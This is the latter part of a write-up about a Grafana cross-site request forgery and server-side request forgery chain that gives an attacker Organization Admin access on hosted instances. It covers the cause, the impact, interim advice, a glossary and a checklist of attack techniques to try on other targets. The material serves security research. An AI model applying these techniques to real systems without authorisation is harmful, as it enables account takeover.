The report attributes the root cause to Grafana setting grafana_session to SameSite=Lax; Secure and links to a SameSite confusion write-up. The report points to the SameSite confusion write-up for the mechanics. A CSRF token is a secret value a site puts in each form so it can tell a genuine request from a forged one; without one, the site cannot tell the difference.
The attacker's own instance is used as a same-origin staging point: the SSRF proxy endpoint serves the payload from the attacker's origin, so the victim's browser runs it in a context the attacker controls, and the fetch calls with credentials: "include" carry the victim's grafana_session cookie to the victim's instance.
What an attacker could do
By luring an authenticated Grafana Admin to the malicious page, the attacker can gain access to the Grafana instance as an Organization Admin. That privilege escalation allows the attacker to view, add, edit and remove dashboards and users, among other things. The report says the attack works against authenticated victims of other Grafana instances hosted on *.aivencloud.com, and that all POST and GET requests work through the cross-origin request forgery.
The fix
At the time of the report there was no official remediation; Grafana was aware of the issue and planned to ship a fix soon. The report's interim advice is to monitor the Grafana users dashboard for new additions and to warn high-privilege Grafana administrators not to navigate to unwanted links in the coming days.
Things worth testing elsewhere
- Check whether a target sets its session cookie with
SameSite=LaxorNoneand whether state-changing API endpoints accept simple content types without a CSRF token. A positive result is a cross-originfetchwithcredentials: "include"that changes state. - Look for a same-origin staging primitive such as a proxy or data source endpoint that fetches an attacker-controlled URL. A positive result is a page served from the target's own origin that runs attacker JavaScript.
- Test login CSRF against the target's login endpoint with a
text/plainform body. A positive result is the victim's browser being logged into an attacker-controlled account. - Test whether embedding is allowed and whether the cookie SameSite setting can be changed by the instance owner. A positive result is a hidden iframe that loads the login form and submits it automatically.
Conclusion

Glossary
- Cookie: a small piece of text a website stores in your browser and gets back with later requests, used to remember who you are.
- Session: the period during which a site remembers you as logged in, usually tied to a cookie.
- CSRF (cross-site request forgery): an attack where a page on one site makes your browser send a request to another site, and your browser attaches your login cookie automatically.
- Login CSRF: a CSRF attack that logs you into an account the attacker controls, rather than acting on your own account.
- CVE: a public catalogue number for a known security flaw.
- 0-day: a flaw that is known but has no official fix yet.
- SameSite: a cookie setting that controls when the browser sends the cookie on requests started by other sites.
Laxis a middle setting;Noneallows it on cross-site requests. - Secure (cookie flag): a cookie setting that only sends the cookie over encrypted HTTPS connections.
- API: a set of web addresses a program can call to do things, as opposed to pages meant for a human to click.
- JSON: a text format for structured data, used to send information between programs.
- Data source: in Grafana, an external service it reads data from to draw charts.
- Prometheus: a system for storing measurements over time, one type of Grafana data source.
- Proxy (access mode): a setting that makes Grafana's own server fetch a data source URL, rather than your browser fetching it directly.
- SSRF (server-side request forgery): an attack where the attacker makes a server fetch a web address of their choosing.
- Origin: the combination of scheme, host and port that identifies a website, for example
https://attacker.aivencloud.com. Pages from different origins are kept apart by the browser. - Same-origin: belonging to the same origin, so the browser treats the pages as part of the same site.
- Cross-origin: belonging to a different origin.
- fetch: a browser function for sending requests from a page.
- no-cors mode: a fetch setting that lets a request go to another site without the browser blocking it, but the script cannot read the reply.
- credentials: include: a fetch setting that tells the browser to attach your cookies to the request.
- CORS preflight: an automatic check the browser sends before some cross-site requests, asking the other site for permission. Simple requests skip it.
- iframe: a small window inside a page that can show another page.
- srcdoc: an iframe attribute that puts HTML directly inside the frame instead of loading a separate page.
- Developer tools: the built-in panel in a browser, usually opened with F12, for inspecting what a page is doing, including its cookies.
- Python / python2 / pip2: a programming language, an old version of it, and the tool that installs extra Python packages.
- HTTP file server: a program that hands out files over the web.
- Privilege escalation: gaining more permissions than you were meant to have.
- Organization Admin: a Grafana role with broad control over dashboards and users.
- Remediation: the fix for a security flaw.